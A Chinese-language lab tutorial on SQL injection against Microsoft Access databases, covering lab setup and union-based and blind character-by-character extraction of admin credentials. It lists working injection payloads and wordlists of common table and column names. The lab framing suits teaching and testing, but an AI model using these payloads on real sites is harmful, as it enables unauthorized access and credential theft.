SQL注入--Access注入

一.基本概念

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

Access数据库跟mysql、mssql、Oracle等数据库不一样,它就是一个独立的数据库,并不像mysql这些数据库有自带的数据库(mysql中的information_schema),所以我们在进行注入的时候需要用到不一样的方法。

常见语言和数据库搭配:

  • asp+access
  • php+mysql
  • aspx+mssql
  • jsp+mssql,Oracle
  • python+mangodb,mysql

二.靶场搭建

将压缩包xxf5.0.3.4.zip​解压后,然后将解压后的文件复制到windows7虚拟机进行安装,然后将leichinews.zip​解压,放到wwwroot​目录里,在浏览器访问即可。

三.攻击流程

方法1:联合查询

1.判断注入点

一般来说单引号、减号、and等就可以判断是否存在注入(查看是否返回错误信息)

2.判断列数
  • 使用order by语句

    • 字符型

      • -1' order by 3%23:正常
      • -1' order by 5%23:不正常
    • 数字型

      • -1 order by 11:正常
      • -1 order by 22:不正常
3.判断回显位置

常见表名

admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,m

anage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,

UserGroups,user_list,login,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo

构造语句:-1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

  • mysql数据库中union select 后面不需要跟上from+表名​,access数据库中需要给一个表名,但是由于Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

  • 知道存在admin表,并且回显位置在2,3位

  • PS:from+表名,返回正常则说明有该表存在,返回错误则说明没有该表。

4.判断列名

常见列名

username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,

pass-wd,yonghu,id,uid,userid,user_id,adminid,admin_id,login_name

构造语句:-1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin


  • 成功得到账号密码,接下来可以登录后台,但是发现利用得到的账号密码无法登录,这是因为得到的password字段是经过了加密,使用"雷驰加密解密"工具解密得到原文为admin


方法2:逐字猜解

1.猜表名

构造语句:-1 and exists (select * from admin) 页面正常说明存在admin表

2.猜列名

构造语句:-1 and exists (select admin from admin) 页面正常,说明存在admin表里存在名为admin的列

3.猜字段内容长度

构造语句:-1 and (select top 1 len(admin) from admin)=5

  • top 1为查询结果只显示首条记录。
  • len为获取长度
4.获取字段内容
  • 获取字段内容第一位:-1 and (select top 1 asc(mid(admin,1,1)) from admin)=97页面正常则说明第一位的ASCII码值为97也就是a

    • mid(列名,起始位置,要返回的字符数)
  • 获取字段内容第二位:-1 and (select top 1 asc(mid(admin,2,1)) from admin)=97

相关推荐
剩下了什么5 小时前
MySQL JSON_SET() 函数
数据库·mysql·json
羊群智妍5 小时前
2026 AI搜索流量密码:免费GEO监测工具,优化效果看得见
笔记·百度·微信·facebook·新浪微博
山峰哥5 小时前
数据库工程与SQL调优——从索引策略到查询优化的深度实践
数据库·sql·性能优化·编辑器
较劲男子汉6 小时前
CANN Runtime零拷贝传输技术源码实战 彻底打通Host与Device的数据传输壁垒
运维·服务器·数据库·cann
java搬砖工-苤-初心不变6 小时前
MySQL 主从复制配置完全指南:从原理到实践
数据库·mysql
阿蒙Amon6 小时前
TypeScript学习-第10章:模块与命名空间
学习·ubuntu·typescript
AI绘画哇哒哒6 小时前
【干货收藏】深度解析AI Agent框架:设计原理+主流选型+项目实操,一站式学习指南
人工智能·学习·ai·程序员·大模型·产品经理·转行
戌中横7 小时前
JavaScript——预解析
前端·javascript·学习
WangYaolove13147 小时前
基于python的在线水果销售系统(源码+文档)
python·mysql·django·毕业设计·源码
●VON7 小时前
React Native for OpenHarmony:2048 小游戏的开发与跨平台适配实践
javascript·学习·react native·react.js·von